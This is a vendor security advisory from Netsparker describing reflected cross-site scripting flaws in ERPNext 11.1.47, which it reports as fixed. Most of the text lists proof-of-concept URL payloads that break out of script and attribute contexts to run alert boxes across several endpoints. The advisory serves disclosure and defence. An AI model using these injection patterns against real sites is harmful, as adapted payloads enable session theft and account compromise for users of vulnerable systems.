Information  
--------------------  
  
Advisory by Netsparker  
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in ERPNext  
Affected Software: ERPNext  
Affected Versions: 11.1.47  
Vendor Homepage: https://erpnext.com/  
Vulnerability Type: Reflected Cross-site Scripting  
Severity: High  
Status: Fixed  
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N  
Netsparker Advisory Reference: NS-19-017  
  
Technical Details  
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URL: http://  
{DOMAIN}/address/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
  
URL: http://  
{DOMAIN}/addresses/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
  
URL: http://{DOMAIN}/blog/"onload="alert(‘test’)" x  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : "alert(‘test’)" x  
  
URL: http://  
{DOMAIN}/contact/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
  
URL: http://  
{DOMAIN}/project/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>  
  
URL: http://{DOMAIN}/user/admin@example.comx  
"%20onmouseover=alert(‘test’)%20x="  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : x"%20onmouseover=alert(‘test’)%20x="  
  
URL: http://{DOMAIN}/api/method/x"%20onmouseover=alert(‘test’)%20x="  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : x"%20onmouseover=alert(‘test’)%20x="  
  
URL: http://{DOMAIN}/api/x"%20onmouseover=alert(‘test’)%20x="  
Parameter Type : Full URL  
Parameter Name : URI-BASED  
Attack Pattern : x"%20onmouseover=alert(‘test’)%20x="  
  
For more information:  
https://www.netsparker.com/web-applications-advisories/ns-19-017-cross-site-scripting-in-erpnext/